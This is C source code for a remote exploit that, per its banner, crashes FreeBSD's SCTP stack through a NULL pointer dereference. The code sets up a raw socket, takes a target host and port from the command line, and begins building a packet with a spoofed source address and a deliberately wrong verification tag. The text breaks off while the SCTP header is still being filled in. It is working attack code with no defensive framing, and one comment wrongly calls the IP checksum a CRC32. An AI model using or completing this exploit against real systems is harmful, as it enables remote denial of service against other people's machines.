/* basic sctp header */
struct sctphdr {
unsigned short sport;
unsigned short dport;
unsigned int vtag;
unsigned csum;
};
/* sctp chunk header */
struct sctp_chunkhdr {
unsigned char type;
unsigned char flags;
unsigned short length;
};
/* ASCONF chunk */
struct sctp_asconf_chunk {
struct sctp_chunkhdr ch;
unsigned int serial;
};
/* AUTH chunk */
struct sctp_auth_chunk {
struct sctp_chunkhdr ch;
unsigned short shared_key_id;
unsigned short hmac_id;
unsigned char hmac[0];
};
/* SCTP parameter header */
struct sctp_paramhdr {
unsigned short type;
unsigned short length;
};
/* ipv4 address parameter */
struct sctp_ipv4addr_param {
struct sctp_paramhdr ph;
unsigned int addr;
};
/* standard crc32 IP checksum */
unsigned short checksum(unsigned short *addr, int len) {
int nleft = len;
unsigned int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while(nleft > 1) {
sum += *w++;
nleft -= 2;
}
if(nleft == 1) {
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
int main(int argc, char *argv[]) {
int sock = 0, ret = 0;
int on = 1; /* for setsockopt() call */
struct ip *iph = NULL;
struct sctphdr *sctph = NULL;
struct sctp_auth_chunk *auth_chunk = NULL;
struct sctp_asconf_chunk *asconf_chunk = NULL;
struct sctp_ipv4addr_param *ipv4_addr = NULL;
char *crash = NULL;
struct sockaddr_in sin;
struct hostent *hp = NULL;
printf("\n[*] freebsd sctp remote NULL ptr dereference\n\n");
if(argc < 3) {
printf("usage: %s <host> <port>\n\n", argv[0]);
return -1;
}
sock = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP);
if(sock < 0) {
printf("[*] error making socket!\n");
return -1;
}
/* tell the kernel not to put any IP headers in */
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
printf("[*] setsockopt() error\n");
return -1;
}
hp = gethostbyname(argv[1]);
if(!hp) {
printf("[*] couldn't resolve %s\n\n", argv[1]);
return -1;
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
crash = malloc(20000);
if(!crash) {
printf("\n[*] couldn't allocate memory\n");
return -1;
}
printf("[*] building crash packet..\n");
memset(crash, 0x00, 20000);
/* fill in IP header */
iph = (struct ip *)crash;
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = 0; /* fill in later when we know... */
iph->ip_id = htons(1337);
iph->ip_off = 0;
iph->ip_ttl = 250;
iph->ip_p = 132; /* sctp */
iph->ip_sum = 0;
iph->ip_src.s_addr = inet_addr("1.3.3.7");
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
/* fill in SCTP header */
sctph = (void *)crash + sizeof(struct ip);
sctph->sport = htons(0x1234);
sctph->dport = htons(atoi(argv[2]));
sctph->vtag = htonl(0x12345); /* deliberately wrong */
sctph->csum = 0;